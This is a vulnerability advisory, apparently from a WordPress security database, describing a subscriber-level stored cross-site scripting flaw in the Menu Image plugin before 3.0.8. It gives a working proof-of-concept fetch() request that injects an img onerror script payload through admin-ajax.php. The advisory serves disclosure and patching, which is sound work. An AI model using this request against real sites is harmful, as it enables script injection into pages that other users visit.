WordPress Plugin Vulnerabilities

Menu Image, Icons made easy < 3.0.8 - Subscriber+ Stored Cross-Site Scripting

Description

The plugin does not have authorisation and CSRF checks when saving menu settings, and does not validate, sanitise and escape them. As a result, any authenticate users, such as subscriber can update the settings or arbitrary menu and put Cross-Site Scripting payloads in them which will be triggered in the related menu in the frontend

Proof of Concept

The menu_item_id needs to be valid (to enable a menu image, see https://www.freshlightlab.com/documentation/menu-image-docs/how-to-enable-menu-image/) 

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=set-menu-item-settings&menu_item_id=4&menu_item_image_title_position=after&menu_item_image_type=icon&menu_item_image_size=menu-36x36&menu_item_image_button=false&menu_image_icon=xxx\"><img src onerror=alert(/XSS/)>",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered in frontend pages where the related menu is output